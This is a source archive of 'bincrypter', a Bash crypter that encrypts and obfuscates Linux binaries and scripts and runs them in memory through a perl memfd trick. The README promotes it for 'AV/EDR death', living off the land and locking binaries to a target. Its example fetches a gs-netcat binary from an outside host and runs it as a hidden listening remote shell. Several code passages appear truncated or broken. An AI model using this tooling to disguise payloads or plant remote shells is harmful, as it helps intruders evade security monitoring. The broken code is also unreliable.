hackerschoice-bincrypter-b6aee72/0000775000175000017500000000000015116006015017062 5ustar epsilonepsilonhackerschoice-bincrypter-b6aee72/bincrypter.sh0000775000175000017500000004474115116006015021614 0ustar epsilonepsilon#! /usr/bin/env bash # This program is free software: you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation, either version 2 of # the License, or (at your option) any later version. You should # have received a copy of the GNU General Public License along with # this program. If not, see https://www.gnu.org/licenses/gpl.html # # curl -SsfL https://github.com/hackerschoice/bincrypter/releases/latest/download/bincrypter -o bincrypter # chmod +x bincrypter # ./bincrypter -h # # # https://github.com/hackerschoice/bincrypter [ -t 2 ] && { CDR="\033[0;31m" # red CDG="\033[0;32m" # green CDY="\033[0;33m" # yellow CDM="\033[0;35m" # magenta CM="\033[1;35m" # magenta CDC="\033[0;36m" # cyan CN="\033[0m" # none CF="\033[2m" # faint } # %%BEGIN_BC_ALL%% _bc_usage() { local bc="${0##*/}" echo -en >&2 "\ ${CM}Encrypt or obfuscate a binary or script.${CDM} ${CDG}Usage:${CN} ${CDC}${bc} ${CDY}[-hql] [file] [password]${CN} -h This help -q Quiet mode (no output) -l Lock binary to this system & UID and fail if copied. On failure, do not execute the encrypted binary. Instead: 1. exit with 0 if BC_LOCK is not set. [default] 2. exit with BC_LOCK if set to a numerical value. 3. Execute BC_LOCK. (can be a base64 encoded strings). ${CDG}Environment variables (optional):${CN} ${CDY}PASSWORD=${CN} Password to encrypt/decrypt. ${CDY}BC_PASSWORD=${CN} Password to encrypt/decrypt (exported to callee). ${CDY}BC_PADDING=n${CN} Add 0..n% of random data to the binary [default: 25]. ${CDY}BC_QUIET=${CN} See -q ${CDY}BC_LOCK=${CN} See -l ${CDG}Examples:${CN} Obfuscate myfile.sh: ${CDC}${bc} ${CDY}myfile.sh${CN} Obfuscate /usr/bin/id (via pipe): ${CDC}cat ${CDY}/usr/bin/id${CN} | ${CDC}${bc}${CN} >${CDY}id.enc${CN} Obfuscate & Lock to system. Execute 'id; uname -a' if copied (2 variants): 1. ${CDY}BC_LOCK='id; uname -a' ${CDC}${bc} ${CDY}myfile.sh${CN} 2. ${CDY}BC_LOCK='aWQ7IHVuYW1lIC1hCg==' ${CDC}${bc} ${CDY}myfile.sh${CN} Encrypt myfile.sh with password 'mysecret': ${CDC}${bc} ${CDY}myfile.sh ${CDY}mysecret${CN} Encrypt by passing the password as environment variable: ${CDY}PASSWORD=mysecret ${CDC}${bc} ${CDY}myfile.sh${CN} " exit 0 } # EO _bc_usage _bc_dogetopt() { [ -t 0 ] && [ $# -eq 0 ] && _bc_usage while getopts "hql" opt; do case $opt in h) _bc_usage ;; q) _OPT_BC_QUIET=1 ;; l) _OPT_BC_LOCK=0 ;; *) ;; esac done shift $((OPTIND - 1)) } # %%BEGIN_BC_FUNC%% _bincrypter() { local str ifn fn s c DATA P _P S HOOK _PASSWORD local USE_PERL=1 local _BC_QUIET local _BC_LOCK # vampiredaddy wants this to work if dd + tr are not available: if [ -n "$USE_PERL" ]; then _bc_xdd() { [ -z "$DEBUG" ] && LANG=C perl -e 'read(STDIN,$_, '"$1"'); print;'; } _bc_xtr() { LANG=C perl -pe 's/['"${1}${2}"']//g;'; } _bc_xprintf() { LANG=C perl -e "print(\"$1\")"; } else _bc_xdd() { [ -z "$DEBUG" ] && dd bs="$1" count=1 2>/dev/null;} _bc_xtr() { tr -d"${1:+c}" "${2}";} _bc_xprintf() { printf "$@"; } fi _BC_QUIET="${BC_QUIET:-$_OPT_BC_QUIET}" _BC_LOCK="${BC_LOCK:-$_OPT_BC_LOCK}" _bc_err() { echo -e >&2 "${CDR}ERROR${CN}: $*" # Be opportunistic: Try to obfuscate but if that fails then just copy data # without obfuscation (cat). # Consider a system where there is no 'openssl' or 'perl' but the install # pipeline looks like this: # curl -fL https://foo.com/script | bincrypter -l >script # => We rather have a non-obfuscated binary than NONE. [ "$fn" = "-" ] && { cat # Pass through return 0 # Make pipe succeed } return 255 } # Obfuscate a string with non-printable characters at random intervals. # Input must not contain \ (or sh gets confused) _bc_ob64() { local i local h="$1" local str local x local s # Always start with non-printable character s=0 while [ ${#h} -gt 0 ]; do i=$((1 + RANDOM % 4)) str+=${h:0:$s} [ ${#x} -le $i ] && x=$(_bc_xdd 128 /dev/null)" # [ -n "$DEBUG" ] && echo >&2 "_k=$_k _P=$_P" [ -n "$_P" ] && return 0 [ -n "$fn" ] && { # sourced unset BCL BCV _P P S fn unset -f _bcl_get _bcl_verify _bcl_verify_dec return 255 } # base64 to string BCL="$(echo "$BCL" | openssl base64 -d -A 2>/dev/null)" # Check if BCL is a number and exit with that number. [ "$BCL" -eq "$BCL" ] 2>/dev/null && exit "$BCL" # 2nd decode (optional) str="$(echo "$BCL" | openssl base64 -d -A 2>/dev/null)" BCL="${str:-$BCL}" exec /bin/sh -c "$BCL" exit 255 # FATAL } # Hack to stop VSCODE from marking _bcl_gen_p as unreached: :||_bcl_gen_p "" _bcl_gen() { local _k local p # P:=Encrypt(P) using _bcl_get as key _k="$(_bcl_get)" # [ -n "$DEBUG" ] && echo >&2 "_k=$_k P=$P" [ -z "$_k" ] && { echo -e >&2 "${CDR}ERROR${CN}: BC_LOCK not supported on this system"; return 255; } p="$(echo "$P" | openssl enc -aes-256-cbc -md sha256 -nosalt -k "${_k}" -a -A 2>/dev/null)" [ -z "$p" ] && { echo -e >&2 "${CDR}ERROR${CN}: Failed to generate BC_LOCK password"; return 255; } P="$p" str+="$(declare -f _bcl_verify_dec)"$'\n' str+="_bcl_verify() { _bcl_verify_dec \"\$@\"; }"$'\n' str+="$(declare -f _bcl_get)"$'\n' str+="$(declare -f _bcl_gen_p)"$'\n' str+="BCL='$(openssl base64 -A <<<"${_BC_LOCK}")'"$'\n' # Add test value str+="BCV='$(echo TEST-VALUE-VERIFY | openssl enc -aes-256-cbc -md sha256 -nosalt -k "B-${_k}" -a -A 2>/dev/null)'"$'\n' } # Test a key candidate and on success output the candidate to STDOUT. _bcl_verify_dec() { [ "TEST-VALUE-VERIFY" != "$(echo "$BCV" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "B-${1}-${UID}" -a -A 2>/dev/null)" ] && return 255 echo "$1-${UID}" } # Encrypt & Decrypt BCV for testing. _bcl_verify() { [ -z "$1" ] && return 255 # [ "TEST-VALUE-VERIFY" != "$(echo "$BCV" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${1}" -a -A 2>/dev/null)" ] && return 255 echo "$1-${UID}" } :||_bcl_verify # Generate a LOCK key and output it to STDOUT (if valid). # This script uses the above bcl_verify but the decoder uses its own # bcl_verify as a trampoline to call bcl_verify_dec. # FIXME: Consider cases where machine-id changes. Fallback to dmidecode and others.... _bcl_get() { [ -z "$UID" ] && UID="$(id -u 2>/dev/null)" [ -f "/etc/machine-id" ] && _bcl_verify "$(cat "/etc/machine-id" 2>/dev/null)" && return command -v dmidecode >/dev/null && _bcl_verify "$(dmidecode -t 1 2>/dev/null | LANG=C perl -ne '/UUID/ && print && exit')" && return _bcl_verify "$({ ip l sh dev "$(LANG=C ip route show match 1.1.1.1 | perl -ne 's/.*dev ([^ ]*) .*/\1/ && print && exit')" | LANG=C perl -ne 'print if /ether / && s/.*ether ([^ ]*).*/\1/';} 2>/dev/null)" && return _bcl_verify "$({ blkid -o export | LANG=C perl -ne '/^UUID/ && s/[^[:alnum:]]//g && print && exit';} 2>/dev/null)" && return _bcl_verify "$({ fdisk -l | LANG=C perl -ne '/identifier/i && s/[^[:alnum:]]//g && print && exit';} 2>/dev/null)" && return } fn="-" [ "$#" -gt 0 ] && fn="$1" # $1 might be '-' [ "$fn" != "-" ] && [ ! -f "$fn" ] && { _bc_err "File not found: $fn"; return; } [ "$fn" != "-" ] && [ ! -r "$fn" ] && { _bc_err "File not readable: $fn"; return; } [ -n "$BC_BCL_TEST_FAIL_COMMAND" ] && { _bc_err "$BC_BCL_TEST_FAIL_COMMAND is required (fn=$fn)"; return; } command -v openssl >/dev/null || { _bc_err "openssl is required"; return; } command -v perl >/dev/null || { _bc_err "perl is required"; return; } command -v gzip >/dev/null || { _bc_err "gzip is required"; return; } [ ! -c "/dev/urandom" ] && { _bc_err "/dev/urandom is required"; return; } # Auto-generate password if not provided _PASSWORD="${2:-${PASSWORD:-$BC_PASSWORD}}" [ -n "$_BC_LOCK" ] && [ -n "$_PASSWORD" ] && { echo -e >&2 "${CDR}WARN${CN}: ${CDY}PASSWORD${CN} is ignored when using ${CDY}BC_LOCK${CN}."; unset _PASSWORD; } [ -z "$_PASSWORD" ] && P="$(DEBUG='' _bc_xdd 32 ${CN} provided and failed to generate one."; return; } unset _PASSWORD # [ -n "$DEBUG" ] && echo >&2 "generated P=${P}" # Auto-generate SALT S="$(DEBUG='' _bc_xdd 32 &2 "OpenSSL ENC with _P=$_P (P='$P')" unset str _C R # P:=Encrypted(P) using HOST-ID as encryption-key. Resets $str. [ -n "$_BC_LOCK" ] && _bcl_gen [ -z "$str" ] && { # NOT using BC_LOCK (Fallback) str="unset BCV BCL"$'\n' # P is not set if provided via ENV or $2 [ -n "$P" ] && P="$(echo "$P"|openssl base64 -A 2>/dev/null)" } # Always base64 encode. ## Add Password to script ($P might be encrypted if BC_LOCK is set) [ -n "$P" ] && { # [ -n "$DEBUG" ] && echo >&2 "Store P=${P}" str+="P=${P}"$'\n' unset P } ## Add SALT to script str+="S='$S'"$'\n' # Bash strings are not binary safe. Instead, store the binary as base64 in memory: ifn="$fn" [ "$fn" = "-" ] && ifn="/dev/stdin" DATA="$(gzip <"$ifn" | openssl base64)" || return 255 ## Add size of random padding to script (up to roughly 25% of the file size)). [ "$BC_PADDING" != "0" ] && { local sz="${#DATA}" [ "$sz" -lt 31337 ] && sz=31337 R="$(( (RANDOM * 32768 + RANDOM) % ((sz / 100) * ${BC_PADDING:-25})))" } _C+="R=${R:-0}"$'\n' ## Add encrypted configs to script [ -n "$_C" ] && { [ -n "$DEBUG" ] && echo >&2 "Store C=ENC('${_C}')" str+="C=$(echo "$_C" | openssl enc -aes-256-cbc -md sha256 -nosalt -k "C-${S}-${_P}" -a -A 2>/dev/null)"$'\n' } str+="$(echo "$HOOK"|openssl base64 -A -d)" [ -n "$DEBUG" ] && { echo -en >&2 "DEBUG: ===code===\n${CDM}${CF}"; echo >&2 "$str"; echo -en >&2 "${CN}"; } ## Encode & obfuscate the HOOK HOOK="$(echo "$str" | openssl base64 -A)" HOOK="$(_bc_ob64 "$HOOK")" [ -z "$_BC_QUIET" ] && [ "$fn" != "-" ] && { s="$(stat -c %s "$fn")" [ "$s" -gt 0 ] || { _bc_err "Empty file: $fn"; return; } } [ "$fn" = "-" ] && fn="/dev/stdout" # Create the encrypted binary: /bin/sh + Decrypt-Hook + Encrypted binary { # printf '#!/bin/sh\0#' # Add some binary data after shebang, including \0 (sh reads past \0 but does not process. \0\n count as new line). # dd count="${count:-1}" bs=$((1024 + RANDOM % 1024)) if=/dev/urandom 2>/dev/null| tr -d "[:print:]\n'" # echo "" # Newline # => Unfortunately some systems link /bin/sh -> bash. # 1. Bash checks that the first line is binary free. # 2. and no \0 in the first 80 bytes (including the #!/bin/sh) echo '#!/bin/sh' # Add dummy variable containing garbage (for obfuscation) (2nd line) echo -n "_='" _bc_xdd 66 /dev/null | LANG=C perl -pe 's/B/B2/g; s/\x00/B1/g' # To support 'BC_FN=h.sh eval "$(/dev/null | LANG=C perl -pe 's/B/B2/g; s/\x00/B1/g; s/\n/B3/g' } > "$fn" [ -n "$s" ] && { c="$(stat -c %s "$fn" 2>/dev/null)" [ -n "$c" ] && echo -e >&2 "${CDY}Compressed:${CN} ${CDM}$s ${CF}-->${CN}${CDM} $c ${CN}[${CDG}$((c * 100 / s))%${CN}]" } # [ -z "$_BC_QUIET" ] && [ -n "$_BC_LOCK" ] && echo -e >&2 "${CDY}PASSWORD=${CF}${_P}${CN}" unset -f _bc_usage _bcl_get _bcl_verify _bcl_verify_dec _bc_err _bc_ob64 _bc_obbell _bc_xdd _bc_xtr _bc_xprintf [ -z "$_BC_QUIET" ] && echo -e >&2 "${CDG}Done${CN}" return 0 } # %%END_BC_FUNC%% # Check if sourced or executed [ -n "$ZSH_VERSION" ] && [ "$ZSH_EVAL_CONTEXT" != "${ZSH_EVAL_CONTEXT%":file:"*}" ] && _sourced=1 (return 0 2>/dev/null) && _sourced=1 [ -z "$_sourced" ] && { # Execute if not sourced: _bc_dogetopt "$@" _bincrypter "$@" exit } ### HERE: sourced bincrypter() { _bc_dogetopt "$@" _bincrypter "$@" } unset _sourced hackerschoice-bincrypter-b6aee72/tests/0000775000175000017500000000000015116006015020224 5ustar epsilonepsilonhackerschoice-bincrypter-b6aee72/tests/run-tests.sh0000775000175000017500000001105315116006015022527 0ustar epsilonepsilon#! /usr/bin/env bash TEST_PASSWORD="1234567890" set -e command -v bincrypter >/dev/null cat >test.sh <<'EOF' #!/bin/bash # Check for leakage: # set | grep BC | grep -v BC_PASSWORD | grep -v BC_ITER | grep -Fqm1 BC && exit 255 BC_TEST=1 echo "$$ INTERNAL BC_TEST=$BC_TEST" [ $# -ne 0 ] && exit 244 : EOF chmod +x test.sh ### TEST FOR DEBUGGING: ### echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: File" cp test.sh t.sh; chmod +x t.sh bincrypter t.sh ./t.sh set +e ./t.sh 244 [ $? -ne 244 ] && { echo "Error code is not 244"; exit 255; } set -e echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Source ./t.sh" unset BC_TEST source ./t.sh [ "${BC_TEST:-0}" -ne 1 ] && exit 255 BC_FN=t.sh source ./t.sh [ "${BC_TEST:-0}" -ne 1 ] && exit 255 echo '>>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: BC_FN=t.sh eval "$(cat >> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: bash -c "$(cat ./t.sh)"' bash -c "$(cat ./t.sh)" # Should also be EXEC string XS: BC_FN=t.sh bash -c "$(>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Most common use case ${BC_ITER:-100} times" for ((i=1; i<=${BC_ITER:-100}; i++)); do cp test.sh t.sh; chmod +x t.sh bincrypter t.sh ./t.sh unset BC_TEST source ./t.sh [ "${BC_TEST:-0}" -ne 1 ] && exit 255 done echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Pipe" cat test.sh | bincrypter >t.sh chmod +x t.sh unset BC_TEST ./t.sh source ./t.sh [ "${BC_TEST:-0}" -ne 1 ] && exit 255 echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Double (file)" cp test.sh t.sh; chmod +x t.sh bincrypter t.sh bincrypter t.sh ./t.sh echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Triple (pipe)" cat test.sh | bincrypter | bincrypter | bincrypter >t.sh chmod +x t.sh ./t.sh echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Set password (by environment variable, PASSWORD=)" PASSWORD="${TEST_PASSWORD}" BC_PASSWORD="IGNORED" ./bincrypter t.sh PASSWORD="${TEST_PASSWORD}" ./t.sh PASSWORD="${TEST_PASSWORD}" BC_PASSWORD="NOT-FAVORED" ./t.sh echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Set password (by environment variable, BC_PASSWORD=)" BC_PASSWORD="${TEST_PASSWORD}" ./bincrypter t.sh BC_PASSWORD="${TEST_PASSWORD}" ./t.sh echo "${TEST_PASSWORD}" | ./t.sh 2>/dev/null # Should fail because password is BAD: set +e PASSWORD="${TEST_PASSWORD}-BAD" ./t.sh 2>/dev/null || exit 254 set -e echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Set password (by command line)" cp test.sh t.sh; chmod +x t.sh bincrypter t.sh "${TEST_PASSWORD}" PASSWORD="${TEST_PASSWORD}" ./t.sh echo "${TEST_PASSWORD}" | ./t.sh 2>/dev/null # Should fail because password is BAD: set +e echo "${TEST_PASSWORD}-BAD" | ./t.sh 2>/dev/null || exit 254 set -e echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Password by env (nested with BC_PASSWORD) & Double pipe" PASSWORD="${TEST_PASSWORD}" ./bincrypter t.sh BC_PASSWORD="${TEST_PASSWORD}" ./t.sh echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Nested different Passwords" BC_PASSWORD="${TEST_PASSWORD}INNER" ./bincrypter t.sh # both by ENV echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Nested different Passwords (2x ENV)" PASSWORD="${TEST_PASSWORD}OUTTER" BC_PASSWORD="${TEST_PASSWORD}INNER" ./t.sh # 1 ENV 1 STDIN echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Nested different Passwords (1x ENV 1x STDIN)" echo "${TEST_PASSWORD}INNER" | PASSWORD="${TEST_PASSWORD}OUTTER" ./t.sh # 2x STDIN echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Nested different Passwords (2x STDIN)" echo -e "${TEST_PASSWORD}OUTTER\n${TEST_PASSWORD}INNER" | ./t.sh echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: BC_LOCK=123" BC_LOCK=123 ./bincrypter t.sh ./t.sh set +e BC_BCL_TEST_FAIL=1 ./t.sh [ $? -ne 123 ] && { echo "Error code is not 123"; exit 255; } set -e echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: BC_LOCK='id'" BC_LOCK='id' ./bincrypter t.sh ./t.sh set +e [[ "$(BC_BCL_TEST_FAIL=1 ./t.sh)" != "uid"* ]] && { echo "BC_LOCK did not get executed"; exit 255; } set -e echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: BC_LOCK=\"\$(echo id| base64)\"" BC_LOCK="$(echo id | base64 -w0)" ./bincrypter t.sh ./t.sh set +e [[ "$(BC_BCL_TEST_FAIL=1 ./t.sh)" != "uid"* ]] && { echo "BC_LOCK did not get executed"; exit 255; } set -e echo ">>> ${BC_TEST_NAME:+$BC_TEST_NAME }Test: Fallthrough STDIN/STDOUT if command not found" :>t.sh BC_BCL_TEST_FAIL_COMMAND="openssl" ./bincrypter t.sh 2>/dev/null cmp --silent -- test.sh t.sh || exit 255 # ./t.sh echo '===COMPLETED===' : hackerschoice-bincrypter-b6aee72/README.md0000664000175000017500000000335315116006015020345 0ustar epsilonepsilon# Privacy and copyright protection for your programs ## A Linux Binary Runtime Crypter - in BASH! - Obfuscate & encrypt any ELF binary - Obfuscate & encrypt any SHELL-script - AV/EDR death: Morphing + different signature every time - 100% in-memory. No temporary files - Not soiling the filesystem - Double or triple encrypt the same binary (or itself) - Resulting binary is heavily obfuscated (`string` only shows garbage) - Living off the Land (LotL): Only needs `/bin/sh` + `perl` + `openssl` - Architecture agnostic: Works on x86_64, aarch64, arm6, mips, ... - *Lock* a binary to a target system and make it fail to run anywhere else. ![exmaple](https://github.com/user-attachments/assets/c8eff8e4-f879-4017-9015-6422e03dd6ac) Download: ```shell curl -SsfL https://github.com/hackerschoice/bincrypter/releases/latest/download/bincrypter -o bincrypter chmod +x bincrypter ./bincrypter -h ``` Example: ```shell cp /usr/bin/id id ./bincrypter id # Compressed: 68552 --> 24176 [35%] ./id # uid=0(root) gid=0(root) groups=0(root) ``` Set a custom PASSWORD (optionally): ```shell cp /usr/bin/id id ./bincrypter id foobar # Compressed: 68552 --> 23860 [34%] ./id # Enter Password: foobar # uid=0(root) gid=0(root) groups=0(root) ``` Real world example: ```shell curl -SsfL "https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)" | PASSWORD="foobar" ./bincrypter >gsnc chmod +x gsnc PASSWORD="foobar" GS_ARGS="-ilD -s ChangeMe" ./gsnc ``` --- Other great work: https://github.com/guitmz/ezuri https://github.com/upx/upx https://bitlackeys.org/#sherlocked --- Join the fun: https://thc.org/ops bsky: [@hackerschoice.bsky.social](https://bsky.app/profile/hackerschoice.bsky.social) Mastodon: [@thc@infosec.exchange](https://infosec.exchange/@thc) hackerschoice-bincrypter-b6aee72/man/0000775000175000017500000000000015116006015017635 5ustar epsilonepsilonhackerschoice-bincrypter-b6aee72/man/bincrypter.10000664000175000017500000000521015116006015022076 0ustar epsilonepsilon\#.TH BINCRYPTER 1 "17 April 2025" .Dd April 17, 2025 .Dt BINCRYPTER 1 .Os .Sh NAME .Nm bincrypter .Nd Encrypt/Obfuscate executables or scripts. .Sh SYNOPSIS .Nm bincryper .Op -hlq .Op program .Op password .Sh DESCRIPTION .Nm is a privacy and copyright protection tool for executables and scripts. .Pp The .Nm command is used to compress and obfuscate a program, and if a password is provided, it will encrypt the program as well. The encrypted program will only run if the correct password is supplied, either via the environment variable or entered by the user upon execution of the program. .Pp The default mode is to compress and obfuscate only: .in +0.5i $ bincrypter myscript.sh .in -0.5i .Pp Encryption is used if a password is provided: .in +0.5i $ bincrypter myscript.sh MySecret .in -0.5i .Pp .Sh OPTIONS .Bl -tag -width Ds .It Fl h Display help information. .It Fl l Lock the program to the target system & user id (UID). Execution will fail if the program is moved to another system or executed under a different UID (by a different user). .It Fl q Quiet. Suppress all output. .Sh NOTES The program can be a file or "-" for stdin. .Sh ENVIRONMENT Various environment variables are used to control the behavior of .Nm . .Pp .Nm PASSWORD .in +.5i Password to encrypt/decrypt. .in -0.5i .Pp .Nm BC_PASSWORD .in +.5i Same as PASSWORD but BC_PASSWORD is exported and available to the callee. This can be used to run a program that has been encrypted twice, using two separate passwords. First with BC_PASSWORD and then with PASSWORD. .in -0.5i .Pp .Nm BC_PADDING .in +.5i Add 0..n% of random padding to the original program. This is to foil attempts to identify the size of the original program. The default is 25. Use BC_PADDING=0 to disable. .in -0.5i .Pp .Nm BC_QUIET .in +.5i See -q .in -0.5i .Pp .Nm BC_LOCK .in +.5i See -l. The default is BC_LOCK=0. The program will refuse to run if executed on a different system or with a different UID. Instead, the program will terminate with the numerical value of BC_LOCK, or if set to a string, execute the string instead (e.g. BC_LOCK="echo 'LOCKED. You are not permitted to run this program.'; exit 255"). .in -0.5i .Sh EXAMPLES See -h for examples. .Sh SECURITY The encryption is as strong as the chosen password. Chose wisely. .Sh SEE ALSO .Xr upx(1) .Sh BUGS Efforts have been made to have .Nm "do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me and tell me how you think it should behave. .Sh AUTHOR .Nm was written by the fine people at https://thc.org. The latest version is available at https://github.com/hackerschoice/bincrypter. hackerschoice-bincrypter-b6aee72/src/0000775000175000017500000000000015116006015017651 5ustar epsilonepsilonhackerschoice-bincrypter-b6aee72/src/make.sh0000775000175000017500000000212115116006015021121 0ustar epsilonepsilon#! /bin/bash # Creates bincrypter.sh # TO test use: # CMD=id # CMD=bash # src/make.sh && cp "$(command -v ${CMD:?})" "${CMD##*/}" && ./bincrypter.sh "${CMD##*/}" && ./"${CMD##*/}" set -e cd "$(dirname "$0")" # 1. Backward compatibility with old systems which don't have -pbkdf2. # 2. Use nosalt to avoid known patterns. Instead, add a SALT to the password. # -k - (SALT is random, PASSWORD is user defined) osslopts='-aes-256-cbc -md sha256 -nosalt -k' # osslopts='-aes-256-cbc -pbkdf2 -nosalt -k' grep -v ^#X bin_stub >../bincrypter.sh hook_str="$(grep -v '^\s*$\|^\s*\#'/dev/null || { echo >&2 "ERROR: Command not found: $x"; return 255; } done # Check if file is sourced or executed # - if executed then we are using /bin/sh and ZSH/BASH-version are _not_ set. unset fn _err if [ -n "$ZSH_VERSION" ]; then [ "$ZSH_EVAL_CONTEXT" != "${ZSH_EVAL_CONTEXT%":file:"*}" ] && fn="$0" elif [ -n "$BASH_VERSION" ]; then (return 0 2>/dev/null) && fn="${BASH_SOURCE[0]}" fi # Favor BC_FN over BASH_SOURCE[0] fn="${BC_FN:-$fn}" # Special case when bash -c "$(cat encrypted.sh)": # - Needs to be \0 free XS="${BASH_EXECUTION_STRING:-$ZSH_EXECUTION_STRING}" [ -z "$XS" ] && unset XS # [ -n "$DEBUG" ] && echo >&2 "0=$0, fn=$fn BC_FN=$BC_FN" [ -z "$fn" ] && [ -z "$XS" ] && [ ! -f "$0" ] && { # Tricky bit to detect if sourced on BusyBox. # - This part might be evaluated (eval()) from /bin/sh # - If executed, then $0 is the script name. # If sourced, then $0=sh # => BusyBox does not tell us which file was sourced. # Note: On gsnc, $0 might be any process name. Let's hope file does not exist. echo >&2 'ERROR: Shell not supported. Try "BC_FN=FileName source FileName"' _err=1 } _bc_dec() { # Favor PASSWORD (non-exported/OUTTER) over BC_PASSWORD (exported/INNER) _P="${PASSWORD:-$BC_PASSWORD}" # bourne shell exports _ by default. It contains binary garbage. Remove. # Leak BC_PASSWORD on purpose to allow nested-decryption. unset _ PASSWORD # do not leak into new process if [ -n "$P" ]; then # Prefer internal password $P over environment variable if [ -n "$BCV" ] && [ -n "$BCL" ]; then _bcl_gen_p "$P" || return else _P="$(echo "$P"|openssl base64 -A -d)" fi else [ -z "$_P" ] && { # DASH + BASH + ZSH compat prompt (dash does not support -t, zsh does not support -P) echo >&2 -n "Enter password: " read -r _P } fi [ -n "$C" ] && { local str str="$(echo "$C" | openssl enc -d %%SSL_OPTS%% "C-${S}-${_P}" -a -A 2>/dev/null)" unset C [ -z "$str" ] && { [ -n "$BCL" ] && echo >&2 "ERROR: Decryption failed." return 255 } eval "$str" unset str } # Scenarios to consider: # ./h.sh # source ./h.sh # bash -c "$(;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'|openssl enc -d %%SSL_OPTS%% "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)" # exit # EXEC FAILED. FATAL } [ -z "$fn" ] && [ -f "$0" ] && { # HERE: normal use case zf='read(STDIN,\$_,1);while(<>){s/B3/\n/g;s/B1/\\x00/g;s/B2/B/g;print}' prg="perl -e '<>;<>;$zf'<'${0}'|openssl enc -d %%SSL_OPTS%% '${S}-${_P}' 2>/dev/null|perl -e 'read(STDIN,\\\$_, ${R:-0});print(<>)'|gunzip" ### HERE: it's not sourced. Execute instead. # Note: The 2nd LANG is the original/correct and _not_ set to C. LANG=C exec perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);open($i,"'"$prg"'|");print$o(<$i>);close($i)||exit($?/256);$ENV{"LANG"}="'"$LANG"'";exec{"/proc/$$/fd/$f"}"'"${0:-python3}"'",@ARGV;exit 255' -- "$@" # exit # EXEC FAILED. FATAL } [ -f "${fn}" ] && { # [./h.sh] or [source ./h.sh] # Bourne shell does not allow 'source' or '<(': # source <(unset _ _P P S R fn;LANG=C perl -e '<>;<>;print(<>)'<"${fn}"|openssl enc -d %%SSL_OPTS%% "$_P" 2>/dev/null|gunzip) # Alternative 1: unset -f _bcl_get _bcl_verify _bcl_verify_dec unset BCL BCV _ P _err # eval "unset BCL BCV _ _P P S R fn;$(LANG=C perl -e '<>;<>;while(<>){s/B1/\x00/g;s/B2/B/g;print}'<"${fn}"|openssl enc -d %%SSL_OPTS%% "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)" eval "unset _P S R fn;$(LANG=C perl -e '<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'<"${fn}"|openssl enc -d %%SSL_OPTS%% "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)" # Alternative 2: # eval "unset _ _P P S R prg fn;$(LANG=C perl -e 'open($i,"'"${prg:?}"'|");print(<$i>);')" return } [ -z "$fn" ] && return echo >&2 "ERROR: File not found: $fn" _err=1 } [ -z "$_err" ] && _bc_dec "$@" unset fn unset -f _bc_dec # HERE: sourced or eval'ed. Fall through with 'correct' error code: if [ -n "$_err" ]; then unset _err false else true fi hackerschoice-bincrypter-b6aee72/src/bin_stub0000664000175000017500000003547415116006015021416 0ustar epsilonepsilon#! /usr/bin/env bash #X DO NOT USE THIS SCRIPT. IT IS A STUB. USE BINCRYPTER INSTEAD. #X # This program is free software: you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation, either version 2 of # the License, or (at your option) any later version. You should # have received a copy of the GNU General Public License along with # this program. If not, see https://www.gnu.org/licenses/gpl.html # # curl -SsfL https://github.com/hackerschoice/bincrypter/releases/latest/download/bincrypter -o bincrypter # chmod +x bincrypter # ./bincrypter -h # # # https://github.com/hackerschoice/bincrypter [ -t 2 ] && { CDR="\033[0;31m" # red CDG="\033[0;32m" # green CDY="\033[0;33m" # yellow CDM="\033[0;35m" # magenta CM="\033[1;35m" # magenta CDC="\033[0;36m" # cyan CN="\033[0m" # none CF="\033[2m" # faint } # %%BEGIN_BC_ALL%% _bc_usage() { local bc="${0##*/}" echo -en >&2 "\ ${CM}Encrypt or obfuscate a binary or script.${CDM} ${CDG}Usage:${CN} ${CDC}${bc} ${CDY}[-hql] [file] [password]${CN} -h This help -q Quiet mode (no output) -l Lock binary to this system & UID and fail if copied. On failure, do not execute the encrypted binary. Instead: 1. exit with 0 if BC_LOCK is not set. [default] 2. exit with BC_LOCK if set to a numerical value. 3. Execute BC_LOCK. (can be a base64 encoded strings). ${CDG}Environment variables (optional):${CN} ${CDY}PASSWORD=${CN} Password to encrypt/decrypt. ${CDY}BC_PASSWORD=${CN} Password to encrypt/decrypt (exported to callee). ${CDY}BC_PADDING=n${CN} Add 0..n% of random data to the binary [default: 25]. ${CDY}BC_QUIET=${CN} See -q ${CDY}BC_LOCK=${CN} See -l ${CDG}Examples:${CN} Obfuscate myfile.sh: ${CDC}${bc} ${CDY}myfile.sh${CN} 